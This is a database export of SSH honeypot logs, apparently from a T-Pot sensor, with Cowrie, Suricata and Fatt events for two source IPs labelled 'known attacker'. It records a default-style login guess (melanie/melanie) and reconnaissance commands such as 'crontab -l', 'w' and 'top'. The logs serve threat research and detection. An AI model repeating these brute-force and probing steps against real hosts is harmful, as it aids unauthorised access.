28748	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:20:22.828037+03	2021-09-20 14:30:03.240553+03	{"_id": "4wbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9d6aeacbbd54", "@version": "1", "timestamp": "2021-09-20T11:20:22.828037Z", "@timestamp": "2021-09-20T11:20:22.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28749	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:20:22.816785+03	2021-09-20 14:30:03.242553+03	{"_id": "5wbvAnwBvYTbRNuEgjDb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 485165654005762, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54826, "dest_port": 22, "timestamp": "2021-09-20T11:20:22.816785Z", "@timestamp": "2021-09-20T11:20:22.816Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28750	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:20:22.816825+03	2021-09-20 14:30:03.243554+03	{"_id": "6AbvAnwBvYTbRNuEhDAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54826, "dest_port": 22, "timestamp": "2021-09-20T11:20:22.816825", "@timestamp": "2021-09-20T11:20:22.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28751	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:23.871018+03	2021-09-20 14:30:03.24455+03	{"_id": "6wbvAnwBvYTbRNuEhTAR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "117.22.230.94", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.045093297958374, "duplicate": true, "timestamp": "2021-09-20T11:20:23.871018Z", "@timestamp": "2021-09-20T11:20:23.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28752	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:19.015655+03	2021-09-20 14:30:03.245553+03	{"_id": "0QbvAnwBvYTbRNuEdTBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:19.015655Z", "@timestamp": "2021-09-20T11:20:19.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28754	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:21.853205+03	2021-09-20 14:30:03.248553+03	{"_id": "2AbvAnwBvYTbRNuEfTA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:21.853205Z", "@timestamp": "2021-09-20T11:20:21.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28755	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:21.85375+03	2021-09-20 14:30:03.249554+03	{"_id": "2QbvAnwBvYTbRNuEfTA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:21.853750Z", "@timestamp": "2021-09-20T11:20:21.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28756	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:20:22.631952+03	2021-09-20 14:30:03.251553+03	{"_id": "4AbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:54826 (192.168.176.2:22) [session: 9d6aeacbbd54]", "session": "9d6aeacbbd54", "@version": "1", "protocol": "ssh", "src_port": 54826, "dest_port": 22, "timestamp": "2021-09-20T11:20:22.631952Z", "@timestamp": "2021-09-20T11:20:22.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28757	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:20:22.634814+03	2021-09-20 14:30:03.252572+03	{"_id": "4QbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9d6aeacbbd54", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:20:22.634814Z", "@timestamp": "2021-09-20T11:20:22.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28758	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:22.826545+03	2021-09-20 14:30:03.253551+03	{"_id": "5AbvAnwBvYTbRNuEgTAp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:22.826545Z", "@timestamp": "2021-09-20T11:20:22.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28759	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:20:22.816825+03	2021-09-20 14:30:03.254553+03	{"_id": "5gbvAnwBvYTbRNuEgjDb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:20:22.448514+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 485165654005762, "payload": "AAADzAYUNOROn892jbGIq16430q/fwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54826, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:20:22.816825Z", "@timestamp": "2021-09-20T11:20:22.816Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......4.N..v....^..J.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28765	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:26.177932+03	2021-09-20 14:30:03.262523+03	{"_id": "-AbvAnwBvYTbRNuEkDDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:26.177932Z", "@timestamp": "2021-09-20T11:20:26.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28760	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:22.636262+03	2021-09-20 14:30:03.255552+03	{"_id": "6QbvAnwBvYTbRNuEhDAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54826, "timestamp": "2021-09-20T11:20:22.636262", "@timestamp": "2021-09-20T11:20:22.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28761	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:20:23.661096+03	2021-09-20 14:30:03.257553+03	{"_id": "6gbvAnwBvYTbRNuEhTAR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [melanie/melanie] failed", "session": "9d6aeacbbd54", "@version": "1", "password": "melanie", "username": "melanie", "timestamp": "2021-09-20T11:20:23.661096Z", "@timestamp": "2021-09-20T11:20:23.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28762	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:20:24.850478+03	2021-09-20 14:30:03.258556+03	{"_id": "7gbvAnwBvYTbRNuEiDD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9d6aeacbbd54", "@version": "1", "duration": 2.2158968448638916, "timestamp": "2021-09-20T11:20:24.850478Z", "@timestamp": "2021-09-20T11:20:24.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28763	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:24.815145+03	2021-09-20 14:30:03.259553+03	{"_id": "7wbvAnwBvYTbRNuEiDD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "117.22.230.94", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.551804780960083, "duplicate": true, "timestamp": "2021-09-20T11:20:24.815145Z", "@timestamp": "2021-09-20T11:20:24.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
